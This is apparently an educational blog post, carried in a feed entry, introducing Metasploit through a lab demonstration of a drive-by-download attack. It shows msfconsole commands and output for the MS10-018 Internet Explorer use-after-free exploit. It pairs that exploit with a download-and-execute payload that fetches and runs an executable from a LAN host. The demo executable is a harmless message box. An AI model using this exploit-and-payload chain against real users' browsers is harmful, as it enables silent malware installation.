We will use &lt;b&gt;windows/browser/ms10_018_ie_behaviors&lt;/b&gt; exploit and &lt;b&gt;windows/download_exec&lt;/b&gt; payload. Before that, please make ready the Windows executable and upload it to the webserver. I would like to recommend to make executable via &lt;a href="http://nuald.blogspot.com/2010/10/cross-compilation-in-linux.html"&gt;cross-compilation&lt;/a&gt; and use &lt;a href="http://nuald.blogspot.com/2010/07/useful-python-executable-modules.html"&gt;SimpleHTTPServer&lt;/a&gt; for distributing it.&lt;br /&gt;
&lt;br /&gt;
Example executable source code:&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: small;"&gt;#include &amp;lt;windows.h&amp;gt;&lt;br /&gt;INT WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LPSTR lpCmdLine, int nCmdShow)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; MessageBoxW(0, L"You're pwned!\n", L"MinGW app", MB_ICONEXCLAMATION);&lt;br /&gt;&lt;br /&gt;&amp;nbsp; return 0;&lt;br /&gt;}&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Compile it and start a web server:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: small;"&gt;$ i586-mingw32msvc-cc msgbox.c -o msgbox.exe -Wl,-subsystem,windows&lt;br /&gt;$ python -m SimpleHTTPServer&lt;/span&gt;&lt;/div&gt;
&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Serving HTTP on 0.0.0.0 port 8000 ...&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Now it's time to start msfconsole:&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: small;"&gt;$ msfconsole &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; o&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; o&amp;nbsp;&amp;nbsp; o&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8&lt;br /&gt;ooYoYo. .oPYo.&amp;nbsp; o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8&amp;nbsp; o8P&lt;br /&gt;8' 8&amp;nbsp; 8 8oooo8&amp;nbsp;&amp;nbsp; 8&amp;nbsp; .oooo8 Yb..&amp;nbsp;&amp;nbsp; 8&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 8 8&amp;nbsp;&amp;nbsp;&amp;nbsp; 8&amp;nbsp; 8&amp;nbsp;&amp;nbsp; 8&lt;br /&gt;8&amp;nbsp; 8&amp;nbsp; 8 8.&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8&amp;nbsp; 8&amp;nbsp;&amp;nbsp;&amp;nbsp; 8&amp;nbsp;&amp;nbsp; 'Yb. 8&amp;nbsp;&amp;nbsp;&amp;nbsp; 8 8 8&amp;nbsp;&amp;nbsp;&amp;nbsp; 8&amp;nbsp; 8&amp;nbsp;&amp;nbsp; 8&lt;br /&gt;8&amp;nbsp; 8&amp;nbsp; 8 `Yooo'&amp;nbsp;&amp;nbsp; 8&amp;nbsp; `YooP8 `YooP' 8YooP' 8 `YooP'&amp;nbsp; 8&amp;nbsp;&amp;nbsp; 8&lt;br /&gt;..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:&lt;br /&gt;::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::&lt;br /&gt;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =[ metasploit v3.5.0-dev [core:3.5 api:1.0]&lt;br /&gt;+ -- --=[ 609 exploits - 306 auxiliary&lt;br /&gt;+ -- --=[ 225 payloads - 27 encoders - 8 nops&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; =[ svn r10702 updated today (2010.10.16)&lt;br /&gt;&lt;br /&gt;msf &lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
You've got a MSF prompt. Let's get information about the required exploit and payload:&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;msf &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt; info windows/browser/ms10_018_ie_behaviors&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Name: Internet Explorer DHTML Behaviors Use After Free&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Version: 9787&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp; Platform: Windows&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;Privileged: No&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; License: Metasploit Framework License (BSD)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Rank: Good&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Provided by:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; unknown&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; Trancer &amp;lt;mtrancer@gmail.com&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; Nanika&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; jduck &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;jduck@metasploit.com&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Available targets:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; Id&amp;nbsp; Name&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; --&amp;nbsp; ----&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 0&amp;nbsp;&amp;nbsp; (Automatic) IE6, IE7 on Windows NT, 2000, XP, 2003 and Vista&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 1&amp;nbsp;&amp;nbsp; IE 6 SP0-SP2 (onclick)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; 2&amp;nbsp;&amp;nbsp; IE 7.0 (marquee)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Basic options:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; Name&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Current Setting&amp;nbsp; Required&amp;nbsp; Description&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; ----&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ---------------&amp;nbsp; --------&amp;nbsp; -----------&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; SRVHOST&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 0.0.0.0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local host to listen on.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; SRVPORT&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 8080&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The local port to listen on.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; SSL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; false&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Negotiate SSL for incoming connections&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; SSLVersion&amp;nbsp; SSL3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; URIPATH&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; no&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The URI to use for this exploit (default is random)&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Payload information:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; Space: 1024&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; Avoid: 6 characters&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;Description:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; This module exploits a use-after-free vulnerability within the DHTML &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; behaviors functionality of Microsoft Internet Explorer versions 6 &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; and 7. This bug was discovered being used in-the-wild and was &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; previously known as the "iepeers" vulnerability. The name comes from &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; Microsoft's suggested workaround to block access to the iepeers.dll &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; file. According to Nico Waisman, "The bug itself is when trying to &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; persist an object using the setAttribute, which end up calling &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; VariantChangeTypeEx with both the source and the destination being &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; the same variant. So if you send as a variant an IDISPATCH the &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; algorithm will try to do a VariantClear of the destination before &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; using it. This will end up on a call to PlainRelease which deref the &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; reference and clean the object." NOTE: Internet Explorer 8 and &lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; Internet Explorer 5 are not affected.&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;References:&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; http://cve.mitre.org/cgi-bin/cvename.cgi?name=2010-0806&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; http://www.osvdb.org/62810&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; http://www.securityfocus.com/bid/38615&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; http://www.microsoft.com/technet/security/advisory/981374.mspx&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; http://www.avertlabs.com/research/blog/index.php/2010/03/09/targeted-internet-explorer-0day-attack-announced-cve-2010-0806/&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; http://eticanicomana.blogspot.com/2010/03/aleatory-persitent-threat.html&lt;/span&gt;&lt;br style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;" /&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;nbsp; http://www.microsoft.com/technet/security/bulletin/MS10-018.mspx&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: small;"&gt;msf &lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; info windows/download_exec&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Name: Windows Executable Download and Execute&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Version: 9488&lt;br /&gt;&amp;nbsp;&amp;nbsp; Platform: Windows&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Arch: x86&lt;br /&gt;Needs Admin: No&lt;br /&gt;&amp;nbsp;Total size: 340&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Rank: Normal&lt;br /&gt;&lt;br /&gt;Provided by:&lt;br /&gt;&amp;nbsp; lion &lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;lion@cnhonker.com&amp;gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: small;"&gt;&amp;nbsp; pita &lt;/span&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&amp;lt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt;pita@mail.com&lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;&lt;br /&gt;Basic options:&lt;br /&gt;Name&amp;nbsp; Current Setting&amp;nbsp; Required&amp;nbsp; Description&lt;br /&gt;----&amp;nbsp; ---------------&amp;nbsp; --------&amp;nbsp; -----------&lt;br /&gt;URL&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; yes&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The pre-encoded URL to the executable&lt;br /&gt;&lt;br /&gt;Description:&lt;br /&gt;&amp;nbsp; Download an EXE from an HTTP URL and execute it&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
As you can see the exploit target are unpatched IE 6 and IE 7.&lt;br /&gt;
&lt;br /&gt;
It's time to get some action:&lt;br /&gt;
&lt;br /&gt;
&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;
&lt;span style="font-size: small;"&gt;msf &lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; use windows/browser/ms10_018_ie_behaviors&lt;br /&gt;msf exploit(ms10_018_ie_behaviors) &lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; set payload windows/download_exec&lt;br /&gt;payload =&amp;gt; windows/download_exec&lt;br /&gt;msf exploit(ms10_018_ie_behaviors) &lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; set URL "http://192.168.1.4:8000/msgbox.exe"&lt;br /&gt;URL =&amp;gt; http://192.168.1.4:8000/msgbox.exe&lt;br /&gt;msf exploit(ms10_018_ie_behaviors) &lt;/span&gt;&lt;span style="font-size: small;"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: small;"&gt; exploit &lt;br /&gt;[*] Exploit running as background job.&lt;br /&gt;&lt;br /&gt;[*] Using URL: http://0.0.0.0:8080/minSVGSK&lt;br /&gt;[*]&amp;nbsp; Local IP: http://192.168.1.4:8080/minSVGSK&lt;br /&gt;[*] Server started.&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
Now let's open this URL in unpatched Windows XP. After some hidden actions the required application starts without any confirmations:&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://1.bp.blogspot.com/_b8spDATDZH0/TLk5T1IuJfI/AAAAAAAAANY/6ebxT5ghnvY/s1600/Screenshot.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="270" src="http://1.bp.blogspot.com/_b8spDATDZH0/TLk5T1IuJfI/AAAAAAAAANY/6ebxT5ghnvY/s320/Screenshot.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
This is classical drive-by-download malware infection.&lt;br /&gt;
&lt;br /&gt;
I hope that this article gives you the initial points to increase your knowledge in security. MSF is a great tool, and every security researcher have to know it. There are many topics hold undiscovered, but I'm sure that you can find all the required information in the Internet or by examining MSF source code. Good luck, and let the Force be with you!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3721596730656231421-4242314954278908758?l=nuald.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nuald.blogspot.com/feeds/4242314954278908758/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://nuald.blogspot.com/2010/10/brief-introduction-to-metasploit.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4242314954278908758'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3721596730656231421/posts/default/4242314954278908758'/><link rel='alternate' type='text/html' href='http://nuald.blogspot.com/2010/10/brief-introduction-to-metasploit.html' title='Brief introduction to Metasploit'/><author><name>Alexander Slesarev</name><uri>http://www.blogger.com/profile/05637529008894979993</uri><email>noreply@blogger.com</email><gd:image 